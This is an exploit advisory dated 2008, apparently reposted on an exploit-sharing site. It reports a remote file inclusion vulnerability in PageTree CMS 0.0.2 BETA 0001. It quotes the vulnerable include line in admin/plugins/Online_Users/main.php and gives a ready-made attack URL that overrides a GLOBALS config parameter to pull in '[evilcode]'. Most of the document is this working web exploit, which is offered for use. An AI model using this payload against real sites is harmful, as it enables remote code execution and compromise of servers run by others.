PageTree CMS 0.0.2 BETA 0001 Remote File Inclusion Vulnerability

2008-11-27T00:00:00
ID 1337DAY-ID-4280
Type zdt
Reporter NoGe
Modified 2008-11-27T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ================================================================
PageTree CMS 0.0.2 BETA 0001 Remote File Inclusion Vulnerability
================================================================


=============================================================================================================


  [o] PageTree CMS 0.0.2 BETA 0001 Remote File Inclusion Vulnerability

       Software : PageTree CMS version 0.0.2 BETA 0001
       Vendor   : http://pagetreecms.co.cc/
       Download : http://pagetree.googlecode.com/svn/trunk/
       Author   : NoGe

=============================================================================================================


  [o] Vulnerable file

       admin/plugins/Online_Users/main.php

        include($GLOBALS['PT_Config']['dir']['data']."content/1.php");



  [o] Exploit

       http://localhost/[path]/admin/plugins/Online_Users/main.php?GLOBALS[PT_Config][dir][data]=[evilcode]


=============================================================================================================




#  0day.today [2018-02-20]  #